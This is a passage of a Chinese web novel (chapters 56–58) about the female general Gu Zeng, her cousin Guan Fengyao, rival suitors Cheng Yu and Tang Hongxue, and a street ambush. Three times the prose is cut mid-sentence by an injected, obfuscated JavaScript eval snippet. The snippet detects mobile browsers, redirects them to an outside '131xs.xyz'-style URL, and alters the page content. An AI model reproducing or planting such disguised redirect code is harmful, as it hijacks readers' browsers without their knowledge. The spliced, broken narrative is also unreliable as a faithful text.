关风遥没站稳,险些一脑袋扎她怀中,顿时面颊绯红,急得话都说不利落了:“表姐你……你又捉弄我!” 顾曾将她拉进院中,反身一脚把门合上,这才笑意灿烂道:“寻我何事?” 自打那日她替关风遥出头,关小娘子对她便莫名依赖了起来,有事没事便来找她,虽然一般也说不了两句话,还总是怯怯的,但二人已比先前熟稔许多。 关风遥绞着手中的绣帕,低声道:“阿娘说,二位表姐是将军,不能住在府上,所以很快就要搬出去了。” 顾曾面上轻描淡写地“嗯”了一声,心中却一头雾水——有这回事么?她怎么不知道? 关风遥语气有些急切:“可是在我心中,就算表姐是将军,那也是亲人,对么?” 顾曾附和地点头,心道:“这话没错。” 关风遥怯怯道:“表姐,你搬走了的话,我还能去看你么?” “自然可以。”顾曾笑道,“教你的那套拳法你才只学了几招,要完全练会还需不少功夫呢,所以你不仅要来看我,还需时常来看我才行。” 关风遥喜不自胜,乌圆的眼珠亮晶晶地透着月色,笑容明媚地呈给她两个小荷包。 顾曾不假思索地收了,看着上面歪歪扭扭的花纹,心道这绣功跟她也差不多嘛,再看关风遥那有些拘谨的神色,福至心灵地想道:“这不会是阿遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816504|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绣的吧?” 她到嘴边的揶揄的话便说不出口了,只顿了一顿,问道:“这是何物?” 关风遥双手拨弄着指尖,有些无所适从地偏头看向一侧,低声道:“我看二位表姐眼睑下皆有乌青,想是睡不好,便做了两个安神香囊,但愿表姐能睡个好觉。” 顾曾又惊又喜,赞道:“你还会做这些呢,绝妙。” 关风遥红着脸,将手帕搅成一团:“不是的,我……我什么都不行的,什么也不会,只是跟着周姐姐学了些最粗浅的医术罢了。” “周……姐姐?”顾曾忽然觉得这个称谓有些耳熟,恍然大悟道,“是那日在医官门口遇到的周大人?” 关风遥缓缓点头:“周姐姐单名一个‘潋’字,是大理寺的评事,平日就在街衢巷陌办案,我也是有一次上街巡游时才偶然识得了她。 “虽然她人在大理寺任职,实则却是全京城最好的医师,阿娘心里瞧不起她,可该到请人的时候,好话也得说不少,就连皇后娘娘有时还要瞒着陛下去请她来瞧病。” 顾曾一时不知是该惊讶一个大理寺评事竟是京城最好的医师,还是该感慨京城最好的医师竟然是大理寺的人,当下第一反应是嗤之以鼻,这些贵女娘娘们果然见人下菜,就连关风遥都忍不住要排揎关夫人几句。 关小娘子又支支吾吾了好半天,终于把话解释清楚了——这位周潋大人虽是神医,但毕竟不是太医署的人,用的药材又时常剑走偏锋,不太为世人所接受。 最令顾曾惊讶的是,关风遥之所以同她如此亲近,居然是因为她醉心医术,而周潋则是京城唯一一个愿意毫无保留传授她技艺的人。 关风遥有些苦恼:“表姐,你可千万别跟阿娘说我偷学医术之事,不然她肯定又要嫌我心思不用在正经处,嘲我将来嫁不出去。” 顾曾心道这算什么大事,立即说道:“嫁不出去便不嫁,你到铸光军来,我自会护你一辈子。” “当真?”关风遥眼神一亮,旋即又失魂落魄地苦笑一声,“算啦算啦,我胆子小,又什么都不会,还是不去给你们添麻烦了。” 眼见天色不早,她又是瞒着别人偷跑来的,不敢再待下去,便起身同顾曾作别。 顾曾送她至小院门口,关风遥却倏地止住了脚步,犹豫半晌,终于旋过身来,却仍是垂着头,不敢直视顾曾的眼睛。 “表姐,”她喁喁细语,单薄的身子也在夜空中微微颤抖,“今日送你回府的那架马车可是程二公子的么?” 顾曾想都没想便点头:“是啊,恰巧与他同时离宫,他便送了我一程。” 关风遥默不作声了许久,低低叹了口气:“好,我明白了。” 顾曾方想起来,关风遥在话本里可是为程彧寻死觅活的……虽然同她相处这几日,顾曾瞧不出她对那家伙有什么感情,不过这种隐秘的小心思最是难猜,林霜不也猜不出她的苦恼么? “呃这个么……”顾曾有些不知所措地找补道,“如今我要在他手下做事,聊的自然都是公务,阿遥你别多想,我……” 她对他毫无想法? 这种谎话她又说不出口,便硬生生地停在了此处。 关风遥自嘲地笑了一笑,没听到她的话似的,只絮絮说着话:“表姐,你两次出府都遇到了他,还与他有些许旧缘,自然不知道寻常人有多难见到他一面。 “京城里有多少小娘子将他放在心上,却连跟他说句话的缘分都没有,更不必谈得到他的什么青眼相待。外人都说我与他有孽缘,其实只有我心中明白,这些都是假的,是我阿娘为了逼他娶我硬生生捏造出来的。” 顾曾“啊”了一声,有种被说书先生当傻子耍的愤慨,还没来得及破口大骂,关风遥却缓缓抬起一双楚楚动人的眼,静静地望来。 “表姐,”她淡淡一笑,眼泪却扑簌簌而落,“其实我只在宴会上见过他几面,谈不上钟情,更谈不上什么非嫁不可。” 顾曾木讷地点了点头,茫然无措,完全不知该接什么话,只笨拙着给她擦着眼泪。 关风遥见她像个木桩子一样,板成一副如临大敌的认真劲,手上的茧还磨得她脸疼,顿时破涕为笑:“多谢表姐,愿意听我说这些。” 顾曾:“哦,不谢……” 关风遥福了福身,迈着迟滞的步伐离去。 “阿遥,”顾曾心有所感,望着她的背影忽地说道,“别听你娘的,什么嫁不嫁人,都是空谈。我只希望你能早日明白,人就该爱恨随心、潇洒此生,别想那么多,也别把过错都揽到自己身上。你就是这世上最好的小娘子,明白了么?” 56.料峭生(三) 顾曾把关风遥赠予的香囊放在了林霜的床头,辗转反侧的林霜终于在来到京城后头一遭拥有了如此平静的呼吸。 而另一只香囊则被顾曾安置在了枕下。也许是心乱如麻到不知该如何梳理,她连胡思乱想的精力都来不及有,就在淡淡的安神香中一脑袋扎进了梦乡。 一夜安寝。 次日一早,关夫人迫不及待地领着关风遥来拜访了。 一向能说会道的她此刻竟有些吞吞吐吐,似是有什么难言之隐,而关风遥的眼皮下则挂有一团青黑,整个人透着股丢了半条命的苍白。 这小姑娘怕不是一宿没睡? 顾曾啧了一声,耐着性子听关夫人和声和气的“逐客令”。 林霜早就习惯了直来直去的关夫人,如今听她打着弯弯绕绕的哑谜,好半天也没弄清她的意思。最后还是顾曾偷偷地暗示她——人家要跟她们划清界限。 其实若非她前一晚曾听关风遥提及此事,怕是也难猜出关夫人的用意。 林霜经她这么一点便恍然大悟,心想的确是自己疏忽了,忖度着道:“我朝向来忌讳文臣武将私下交好,阿曾既要上任十二卫的亲翊将军,自然不该再叨扰表姨母。” “这便是了。”关夫人没想到她如此识大体、好说话,松下一口气的同时,笑容也带了些真心实意的蔼然,“二位表甥女不必担忧,我昨日已替你们寻了几处住处。你们且放心,我在京城住了这么多年,相中的屋子自然不差,不妨瞧瞧?” 她眼色一动,管家便毕恭毕敬地捧上一沓厚厚的舆图。 顾曾和林霜凑过来看了,大多是南市延福、永平和晋昌三个坊的民户,又毗邻香火旺盛的寺院,市井繁华、梵音缭绕,的确是不错的选择,倒是难为关夫人在半天时间内就安排好这些。 林霜仔细同她道了谢,正要拉着顾曾出门,前厅的小厮却慌慌张张地来报,说昨日来传旨的小陈公公又来了。 乾安帝这次是来传召林霜的。 顾曾和林霜愕然相顾,还没拿准乾安帝究竟想做什么,小陈公公已经领着一队随行宫人浩浩荡荡地走来了。 每个宫人的手中都托着琳琅满目的赏赐,除了金银之外,还有不少熠熠生辉的绫罗珠翠。 顾曾扫了眼,冷着脸道:“臣敬谢不敏。” 小陈立即堆笑道:“诶,顾将军,这些东西呢——” 他右手拢向绸缎和首饰,“是陛下赐给关氏夫人和关家娘子的,特赏夫人对二位将军的照顾与呵护。” 关夫人这辈子还没靠着她夫君关鼎得到过皇帝的赏赐,只目瞪口呆,心道她这两位远方表甥女的面子也太大了些,赶紧拉着关风遥叩礼谢恩。 “这些是赐给林将军的。”小陈公公笑眯眯的,左手又挥向些金银细软,“陛下说,二位将军虽然驻守边疆十余年,过惯了苦寒的日子,但尔今身在京城,总不好再幕天席地,如此定需要银钱来安顿。” 林霜硬着头皮收下了,诧异道:“怎会是赏给我的,不该是赏给阿曾的么?” 小陈公公意味深长地看了她一眼,缓缓道:“陛下说,二位将军姐妹情深,君心仁义,不忍将你二人拆散。林将军也不是非要回铸光军不可,留在京城亦可如虎添翼。” 顾曾登时意会,扯了扯林霜的衣角,悄声对她打了个唇语:“荣王,神策军。” 乾安帝向来是打一巴掌给个甜枣,前脚刚把她安排给了程彧,后脚就打算给荣王塞个林霜。 林霜治军经验胜过她百倍,帮着协理个神策军不在话下,顾曾自然不担心她会在神策军中水土不服,甚至还有些欣喜林霜能在京城多陪她些时日,就是不知傅岚那里缺不缺人手。 林霜波澜不惊,毫无触动,一丝不苟地谢了恩。 顾曾目送小陈公公领着她离开,直至看不清人影时,才发愁地清点起乾安帝的赏赐。 在渭城穷习惯了,她这辈子也没见过这么多闲钱,一时不知该如何处理,只好让人先端去她们屋内,打算等林霜回来了再盘算。 小厮应了“喏”,鱼贯而行地穿过,顾曾的眼神却顿了一顿,扬声道:“慢着,那个是什么?” 她的目光落在两把小巧的短匕上,其剑鞘外勾连着一道几不可察的千斤锁,只要挂在蹀躞带上,除非带子被撕裂,便绝对不会脱落。 顾曾用拇指将匕首缓缓推出剑鞘,只见剑身亮如雪浪、锋利难匹,心中登时一喜,心道:“老东西难得大方,倒真送了好东西过来。” 她将其中一把握在手中掂了掂,招呼在一旁神游的关风遥道:“阿遥,来,这个你收着防身。” 关夫人在此,谨小慎微的关风遥哪里敢接,往后缩了缩身子,低声道:“表姐,阿遥不敢。” 顾曾挑眉看了眼一旁忙着看御赐首饰的关夫人,笑道:“陛下赐的东西,有什么不敢收的,难道你还瞧不上么?” 关夫人拿人好处手软,又经她这么说了,自然不好再阻拦,对关风遥板着脸说道:“给你的,还不快收着,恁不懂事。” 关风遥虽然挨了骂,脸色却情不自禁一亮,漫上一层雀跃的笑意,匆匆上前握住了顾曾的手,对她屈膝道:“多谢表姐相赠,我定万分珍惜。” 顾曾一笑:“行了,我出门找牙子看房去。” 林霜被召进宫,她正好自己出门逛逛。自从来了京城,不是被赶鸭子上架似的参加宴会,就是怕遇到荣王而窝在府中当缩头乌龟,还没仔细瞧过京城的风土人情。 关夫人知道她独来独往惯了,也不强求她带着侍女,只费心地要人替她换了身便于赶路的行装。 没过多时,今日不当值的顾将军又做回了小娘子,穿了件素净的齐胸裙,头戴黑漆帷帽、足蹬胡靴,兴致大好地准备出门。 怎料得人前脚刚换完衣服,还没来得及出府,关夫人后脚就派人寻她,说有人在偏门外等她。 顾曾心窒了一瞬,生怕是荣王这个死脑筋找上门来纠缠不清,只好极其不情愿地跟小厮去了偏门。 绕过几株槐花树,可见一身着绛紫圆领襕袍的魁梧男子正负手而立。此人腰悬长刀,背后绣了个对牛团窠的纹样,是千牛卫的人。 顾曾松了口气,沉声道:“见过唐大人。” 来人正在出神,被她神不知鬼不觉地惊到,猛然回过身来。 果然是那日在兴庆宫见过的千牛备身,唐鸿雪。 唐鸿雪是昨日晚间才听人说起,陛下给程二公子找了个跟班,也就是说,给他找了个上级。 原本他还漫不经心,不怎么在意,毕竟十二卫的老大程二公子都这么不着调了,谁当这个亲翊将军都没什么分别,干活的、受罚的总会是他们这些做下属的。 直到他听到好事者的议论。 “听说了吗?这位新来的将军可是老大从荣王殿下手中硬抢过来的。” “自然听说了!据说荣王殿下暴怒之下,当着陛下的面就要砍他?” “谁叫咱们老大横刀夺爱。兴庆宫的事你也该有所耳闻吧,荣王殿下看上了个小娘子,扬言要求娶。那位小娘子啊……就是咱们这位新来的将军!叫什么来着,叫……” “顾曾。” 唐鸿雪听到这儿,惊得当场拔地而起,一番鬼哭狼嚎的哇哇乱叫着“完了、完了”,不知道的人都以为他鬼上身了,也只有他自己知道发生了什么。 他前两天刚拒绝了一个渭城来的小娘子,好巧不巧也叫这个名字…… 他当时不仅大言不惭地嫌弃她爱舞刀弄棒,说她是愚莽的武夫,还央求他阿嫲上门退了亲。关家人好一顿闹,闹得他阿嫲回来就臭骂了他一顿。 如今想来,他确实该骂——惹了谁不好,惹了自己未来的上司。 唐鸿雪自知配不上这位顾曾将军,更不想对荣王殿下横刀夺爱,然而他那天的确拒绝得太过于粗俗无礼,辗转难眠了一晚上,特意一大早就赶来赔罪。 如今一见真人,倒是出乎他所料。 这处于风暴中央的顾将军也不过就是个普通的年轻小娘子,除了眼神中透着一股无所遁形的凌厉,并非他想象中的那般凶神恶煞。 唐鸿雪一时失语,喉结滚动,还未来得及开口,眼前却是一花——顾曾已经滚刀似地屈了一膝向他行礼:“多谢唐大人昔日救命之恩。” 姜祐珣说过,此人对她二人有救命之恩。不管具体是什么,她先谢过再说。 唐鸿雪一头雾水。 他奉圣命四处奔波时,的确也救下过不少人,可是怎么完全不记得自己救过她?不过若此时直接挑明的话,也太失礼了,那他此番来赔礼不就白跑一趟了么? 当下,他一番斟酌,挤出一副硬邦邦的笑容,轻描淡写回道:“顾将军言重。” 二人相顾无言了许久,唐鸿雪觉得自己快被她的眼神盯得浑身发麻了,这才清了清嗓子,生涩地开口道:“恭贺顾将军擢升之喜。” 顾曾面无表情道:“多谢。” 唐鸿雪只道她心中仍在介意他的言辞无状,见她一副根本没消气的样子,便不敢直截提起关夫人生拉硬凑的这桩离谱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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曲巷车马骈阗,叫卖五彩丝与干果的小贩尤其多。她方陡然意识到,又一年的七夕将至。 她很快就要年满二十了。 唐鸿雪见她视线被吸引,决定拿出地头蛇的情谊,狠掐了胳膊一把给自己鼓气,磕绊说道:“过了三伏不久便是七夕,顾将军如此喜爱丝线,想必擅穿针斗巧?下官这就为顾将军去采买些许。” “不必。”顾曾的话锋里带着反常的冷漠,她自己也几乎是立即意识到了这一点,强迫自己松下肩头,浅笑道,“多谢唐大人好心,只是我手笨得很,可不会这些,还是别浪费财物了。” 她空活了二十年,连生辰都没怎么过过,身旁也无年龄相仿的玩伴,更无从谈起与人七夕卜巧斗巧,唐鸿雪的话可谓是不偏不倚地戳中了她的痛处。 几番碰壁之后,唐鸿雪终于不再多说什么,只闷头不吭地赶路。 他脚力不慢,二人不多时已然走到了安仁坊,自其中穿行,一阵浓郁的胡麻油香远远飘来。 这下,他终于发自内心地眼前一亮——他还不信有人能抵得过老李头胡麻饼的诱惑! “想不到今日竟这般幸运,碰上老李头出摊卖饼。”他转头对顾曾笑道,“顾将军,这家的胡麻饼乃是京城一绝,定要买来尝尝。” 他有心赔罪,不由分说地挤上前去,于熙熙攘攘中奋力抢下两块饼来,那拼破了头的架势,与战场的顾曾相比也不惶多让。 顾曾牵着马缰站在巷旁等他,没多时,手中便被塞了两块热腾腾、香气四溢的饼。 看着大汗淋漓的唐鸿雪,她忽然有些歉疚,便浅浅对他福身,盈盈一笑:“多谢唐大人。” 唐鸿雪激动万分,感慨自己总算没有又一巴掌拍到马蹄子上了,朗声而笑:“顾将军这是哪里话,下官身为京城人士,应做的。我帮您掖纱!” 顾曾正在自我反思,一句“不必”还没来得出口,唐鸿雪已经上前一步,不由分说又熟练无比地捏住了她帷帽的纱幅前缘,轻轻一拨拢至她身后,在外人看来就像是他环住了她半个身躯一样。 唐鸿雪又细心地为她固定好纱幅,不忘一边擦汗一边憨实地对她笑:“顾将军快尝尝!” 顾曾:“……” 这人大概压根没拿她当个小娘子来看。 她撇了撇嘴,心道自己可承受不起这种盛情,便放下举着饼的胳膊,叹了口气:“唐大人……” 怎料却有人在此时截住了她的话——身后陡然传来一声熟悉的笑:“唐大人,你怎么在这?” 57.料峭生(四) 一身着赩紫锦袍的男子身跨了一匹黝黑的白蹄乌缓缓踱来,正是途经此处的程二公子。 他端着一副英姿高迈、玉树临风的姿仪,并未下马,随意地对唐鸿雪叉手一拜,打趣道:“唐大人好兴致,这么热的天气还陪尊夫人出来闲逛。什么时候成的亲,怎么没同我说?” 唐鸿雪:“头儿,我、我不是……” “不是什么?”程彧冷不丁冷笑一声,眯着眼扫了他一眼,懒洋洋道,“老唐,并非我不识好歹,非要扫你兴致。可我若没记错的话,今日该你当值吧?” 他提疆让马匹停在了唐鸿雪身侧,斜出半截身子重重拍了拍他的肩头,不耐烦道:“还不快把夫人送回家,难道要我帮你送么?” 顾曾可算是怕了他的碎嘴子了,猛地一转身:“那倒是也不必劳烦二公子。” 程彧倏然睁大了眼,眼中清晰倒映着她略带笑意的脸庞,恍惚间还以为自己又在做梦。 他昨夜跪了一晚佛堂,边跪边念《心经》,越念脑中越不清醒,睁眼闭眼全是她。 她的音容就如同千万根细若微雨的芒刺一般,牢牢地扎进了他的身体中。他无从拔起,只知自己早已是千疮百孔,每一处破绽都与她有关。 他经不起与她有关的任何一次惊吓。 待到看清她的脸,他当场成了个断了丝线的木偶,四肢同时不听使唤,整个人连滚带翻地往马下栽去,还好唐鸿雪赶在程二公子尊容触地之前眼疾手快地捞了他一把,他才没跌出个破了相的大花脸。 程彧狼狈地从唐鸿雪的怀里爬出来,视线在顾曾和唐鸿雪之间转来转去,嘴唇张了又合,好半晌也没憋出一句话来。 唐鸿雪一看他这副模样,便知他气得不浅,忙解释道:“头儿,顾将军今天不当值,下官手上有别的活儿,不急在这一时,便陪将军闲逛会儿京城,不耽误事的。” “你……们俩?闲逛?”程彧却并未如他所料变得好受起来,双眼发直,说出来的话仿佛是从牙缝里透出来的阴沉。 顾曾的视线与他一触即分,附和道:“可不是么,还是从二公子那学的游手好闲。” 程彧的眼前倏地便回闪起他刚刚看到的画面——唐鸿雪这厮方才是不是抱她来着?! “唐鸿雪,”他恶狠狠瞪来,眼中简直可以喷火,“你你你你……你放肆!” 唐鸿雪一见这俩人不怎么对付,心甘情愿地作起调和的中庸之人,诚惶诚恐拜道:“头儿你别误会,下官并非在讨好顾将军,只是……” 他犹豫再三,最终还是将实话讲了出来,“下官只是为给顾将军赔罪罢了。” 原来是事出有因,程彧神色微霁:“赔什么罪?” 唐鸿雪叉手道:“不敢欺瞒,家父多年前曾为下官与鸿胪寺少卿之女关娘子定下婚约,怎奈关娘子对头儿你情根深种,不肯嫁给下官。” 程彧听到关风遥就头疼,这厮居然还在顾曾面前提起此事,他的心头火就如离原上顺风的火苗,瞬息间就燃成燎原之势,断喝道:“怎么,你今日要在此跟我清算夺妻之仇?” “下官不敢。”唐鸿雪道,“只是下官本以为与关家的婚约就此作罢,关家夫人却说她有一表甥女正值妙龄,生得花容月貌、淑丽娴雅,请下官留意相看。” 程彧挑眉瞪眼,咬牙切齿道:“你该不会是说……” “没错,就是我。”顾曾截住他的后半句话,叹气道,“如何,二公子有何指教?” 见她这般冷漠的模样,程彧两眼一黑,差点当场昏过去。 好在程彣驾着匹白马恰到好处而来,先冷冷瞪了程彧一眼,又下马来和声和气对唐鸿雪和顾曾拱手:“二位大人在安仁坊可不常见,可是来寻家父?” 顾曾这才恍然大悟,难怪会在此处偶遇程彧,原来程家就在这附近。 程彧在几人说话的当口连忙喘了几大口气才渐渐恢复些理智,心想道:“不可能……就算这什么破婚约是真的,阿曾也绝不会愿意嫁他的,她那么高傲的一个人,怎会心甘情愿地受人摆布?” 他稍微有了些底气,冷笑道:“老唐,顾将军可是你的上级,你有什么脸面求娶她?” 不知事情原委的程彣一个踉跄,有些不知该看谁。 “的确如此。”唐鸿雪面露愧色,努力地在心中搜罗那些自己想了一晚上才想出来的漂亮话,“下官的确不敢,也不配,只是关家曾派人托话于我,说顾……” 他偷偷睨了一眼顾曾,见她面不改色,复而有了些底气,继续道,“说顾将军对下官那个……一见钟情。” 程彣的脸色更复杂了。 顾曾也满头雾水,心想着估计又是关夫人干的好事。 只有程彧现在是非黑白不分,双耳嗡嗡的,就如几百口洪钟围着他敲了三天三夜,而唐鸿雪轻飘飘的几句话便顺着这些浑厚的嘈杂,如蛆附骨般、见缝插针地钻进了他的脑袋中。 一见钟情……那他呢?触目生厌么? 程二公子虽然素日也是个混不吝,但是还从未见他脸色这么差过,唐鸿雪试探道:“头儿?” 程彧冷不防一声冷笑,瞠目欲裂:“唐鸿雪我告诉你,你赶紧换个人相看。” 他视线落在顾曾身上,胸膛不住起伏,大喝一声,“顾娘子是……是我先看上的!” 唐鸿雪一怔:“啊?” 他和关风遥十几年的婚约因为程彧作罢,他虽心有不甘,但此事是关风遥一厢情愿,他不好说什么。 可顾曾毕竟是关家主动向他举荐的,虽然他自知配不得,却也容不得程彧这般胡搅蛮缠。 一次就罢了,第二次了还要抢?这程二公子是只对和他唐鸿雪订了亲的小娘子情有独钟么?可顾将军刚至京城不久,想必连程二公子的面都没见过几次,哪里来的情有独钟? 明显程二只是针对他这个老实人一个劲地欺负罢了。 唐鸿雪不善言辞,挺阔的脸庞却青筋乍现,双眸已红得刺目。 顾曾亦不知程彧这葫芦里卖的是什么药,只觉自己被轻薄了,当头赏了他一个爆栗:“孟浪之徒,休得胡说八道!” 程彧揉着头,还没缓过神来,另一边脑袋又猝不及防的挨了程彣一尺子。他下手不轻,程彧捂着头嗷嗷哀嚎:“哥,你真打啊?” 程彣没理他,笑意清缓对顾曾和唐鸿雪行礼:“代容与向二位大人赔罪,陛下召我二人进宫,待今日事毕我定罚他长跪思过。误了二位大人时辰,怀瑾心中不安,不知二位来此处有何贵干,可否容我帮上一二?” “没什么大事,”顾曾冲他回礼,“我和阿姐要赁一处住宅,唐大人在京城殚见洽闻,又急公好义,乐得在这大热天陪我走一遭,在下感激不尽。” 哦,原来并不是在和唐鸿雪私会。 程彧不知怎的,只觉她是在向自己解释,茅塞顿开后方才意识到了自己有多冒犯,装作漫不经心地捋了捋头发,道:“那什么,老唐,做得不错。我方才说那话的意思是——我好不容易才把顾将军挖到咱们十二卫来,连荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他猜不透顾曾心里怎么想的,生怕她当真神经错乱一个点头,而唐鸿雪这厮是个纯正的木头,若是真得了她的首肯,怕是至死也要纠缠不休下去了。 “阿曾……”程彧小心翼翼开口,然而甫一望进她乌溜溜的一双眼,突然便说不出话来了。 真可笑,他有何资格对她的抉择指指点点? 阿曾爱喜欢谁就喜欢谁,爱怎样就怎样。他一番痴心又如何,这世上真情错付之人何其多,哪能人人都得偿所愿? 真要论起来,荣王、唐鸿雪、姜祐珣,甚至还有那个花雨闲,哪个不是对她真心以待?可阿曾总不能人人都喜欢…… 唐鸿雪这个笨木头有一句话没说错,缘分无关身份地位,谁的真心又能比旁人的高贵么? 没这个道理。 他喜欢她是他自己的事,不该牵连她进来,更不该强求。 顾曾耐着性子听这两个人胡扯了半天,早就不耐烦了——不是说好的逛京城么,谁想跟你们在这干站着聊天? 她叹了口气,缓缓说道:“唐大人恕罪,我并非大人良配。” 唐鸿雪神色一黯:“多谢顾娘子诚恳告知,我自当退守本位,从此不再僭越。” 可他心中犹是不解,怎么前些日子还说中意他,今日却又拒绝了呢?瞧她眉目凛然的样子,不退也不带羞意,显然心意已决,那又究竟是为何呢? 他倏然一笑,刹那间便想通了:“也是,如今烽火狼烟,争逐不断,不平四海,何以成家?是下官目光短浅,冒昧将军的一番大义了。” “不是。”顾曾只淡淡道,“因为我不喜欢你。” 58.料峭生(五) 唐鸿雪:“……” 他就不该指望能从这位顾将军的嘴里听到什么好话。 语塞半天,他嘴角酿出一丝不自在的苦笑:“的确是下官唐突了,这世上也只有荣王殿下这般龙章凤姿之人才能得到顾将军的青睐。” “巧了,我也不喜欢他。”顾曾从鼻腔里冷笑了声,掀起一个令人不寒而栗的白眼,转身便走,“几位大人聊吧,我先告辞了。” 唐鸿雪呆愣在原地,一时间举足无措。 莫说是谁家的娘子了,放眼全京城,他还没见过这般不懂礼数的家伙。 还好,还好她不喜欢自己,不然若是方才答应了他,那他不得一辈子受她欺压!他唐鸿雪当初就说了,一定得找个温柔贤惠的小娘子,如今想来,实在是明智之举。 程彣清了清嗓子,给他使了个眼色,笑道:“唐大人不追过去看看么?既答应了今日相随护送,总不该半途而废。” “是啊老唐,”程彧不知为何笑眯眯的,重重拍了拍唐鸿雪宽阔的肩头,附和道,“替咱们十二卫招待好顾将军,别净动些不伦不类的歪心思,叫人看了闹笑话。” 唐鸿雪面露惭色,立即应道:“头儿说得对,是下官莽撞了,下官一定仔细侍奉顾将军,不敢有怠。” “这才对。”程彧跨上他那匹白蹄乌,在原地欢快地打了两圈转,终似有所不忍,回首对唐鸿雪笑道,“老唐,你也不必介怀,顾将军她见惯了塞外的雄浑瑰丽,自然不愿被困在京城一隅,并非有瞧不起你的意思。缘分固然重要,但小爷我觉着吧,人定永远胜于天定——” 他呼哨一声,白蹄乌一声清亮的嘶鸣,离弦之箭般蹿出去了老远。 形形色色在眼角外趋于五彩斑斓的模糊,程彧这才偷偷露出了一丝窃笑。 他不知是不是自己在自作多情,也给不出个合理的解释,但他分明瞧见顾曾在说“不喜欢”时不动声色地朝他瞟了一眼,而后又装作若无其事地将视线投在了别处。 就好像她其实是特意说给他听的一样。 还有,她对别人都那么冷淡疏离,唯独对他……拳打脚踢、讽刺挖苦的,那还是证明他在她心底是有那么一点与众不同的吧? 程彣一瞧他摇头晃脑的背影,便知他已经得意到要翘尾巴了,面色登时有些凝重,温声同唐鸿雪拜了别,匆匆去追程彧。 唐鸿雪亦是不敢有违程二公子的嘱托,只好向相反方向追去,见到顾曾后又磕磕巴巴说了不少客气话,厚着脸皮地继续跟着她。 顾曾没料到他还能放下身段继续陪自己,她亦不推辞,只当作什么都没发生的样子,轻巧地将方才之事揭过。 二人慢慢悠悠地闲逛,花了大半日才将关夫人相中的民舍转完。 顾曾被琳琅满目的京城物什勾起了玩心,看什么都稀奇,只知道夸这家的屋舍修得漂亮,那家院里的小秋千搭得别致精巧。一路转下来,她似乎都挺满意的,实在不知该如何抉择,想着大不了回去抓阄。 唐鸿雪硬着头皮跟了她一路,将地主之谊贯彻始终,在每间屋子的里外转来转去,到最后看哪个都不满意,不是嫌弃门口昼夜不绝的香客与考生会影响顾将军安眠,就是挑拣房舍的排湿和采光不行。 每每见他将屋主问得哑口无言,顾曾便知这一趟由他跟着自己来真是来对了。 二人无功而返,回程路上,唐鸿雪笨拙地安慰她道:“不要紧,下官会帮顾将军多多留意。” “多谢唐大人。”顾曾仔细同他道了谢,与他并肩而行。 金光似纱,轻柔地罩在京城上空。 石板路被蒸烤得发暖,坊门外的小摊早早支起了油锅,茶肆门前的竹帘半掀。 清脆的驼铃、策马的信使、街角随风轻颤的榆树叶,尘土与光斑交融。 路边三两稚子追逐打闹,巷边老人边打扇边对弈,正杀得热火朝天。 唐鸿雪偷偷瞥了顾曾一眼,见她唇角含笑,想来心情不错,暗自擦了一把汗——总算不负所托把顾将军陪开心了,自己这一天的功夫没白费。 下一刹,却见顾曾的脚步陡然一顿。 她扬手横在唐鸿雪胸前,眼神堪称凛冽,犹如暮夜中骤然大起的朔风,携着不见底的杀意:“唐大人,可听到了诵诗声?” 唐鸿雪的耳中只有京城的一派盛世繁华,痴愣道:“什么?” 顾曾的眼色却更加沉重,柳眉倒竖,语气竟罕见的急切:“杀气,感受到了么?” “自然!”唐鸿雪不住点头。 她身上的杀气简直能在十里外看个清楚,他要是再感受不到,那不成傻子了? 顾曾冷冷斜睨他一眼,了然心道:“又是个靠不住的。” 她便合上眼,任清风抚过她眉间与发根,于蝉鸣止息的那一刹,双目骤睁。 “唐大人,借你的刀一用。” 唐鸿雪还没来得及应声,便觉腰间一松——顾曾为了方便取刀,竟顺手将他的蹀躞带和腰带一并割断了。 再好脾气的人也受不了她这样折辱,唐鸿雪手忙脚乱地在腰上打着结,正要恶语相向,耳畔却炸响了一连串铿锵的金石之音。 他神色剧变,放眼一望,顾曾已与几个不知从哪冒出的蒙面杀手战成一团。 来人不少,个个是精壮汉子,下手也甚是狠辣,招招不留情地往她身上招呼。她却甚至还在托大,竟不出刀,仅以刀鞘隔开了对方接二连三的杀势。 但见她闲庭信步、不见慌乱,素纻长裙并未成为她的束缚,随着她一招一式舞成了一轮飘动的满月。 四周的街坊百姓捂眼的捂眼,尖叫的尖叫,不多时便鸟兽尽散。 唐鸿雪在一旁看得眼花缭乱,此刻,却有一小贩模样的人逆流而上,于人群中暴起,自扁担中抽出一把极长的钢刀,猛然一声大喝,朝顾曾砍将过去。 唐鸿雪跃起去扯他后心,却抓了一空,急道:“将军小心!” 顾曾冷冷的余光扫来,侧身一避,飞起一脚蹬在那人腕间。只闻“喀嚓”一声,来人嘶吼出一声凄厉无比的哀嚎,已被她一脚踢断了腕骨。 唐鸿雪这才发现,她脚上的胡靴竟然焊了层沉重的铁钉。 偷袭者犹如一头发狂的嗜血猛兽,挥舞着长刀不管不顾地一通乱劈。顾曾瞅中一道间隙,侧身旋入,右手一把扯下帷帽,于手腕上猛地一旋,迎面便是一巴掌,将帷帽扣在了他脸上,与此同时,左手于颈后架开了劈向她的三把利刃。 她借势荡回过身来,看着那把连豁口都没留下一个的刀鞘,笑赞一声:“好刀,不愧是御赐的。” 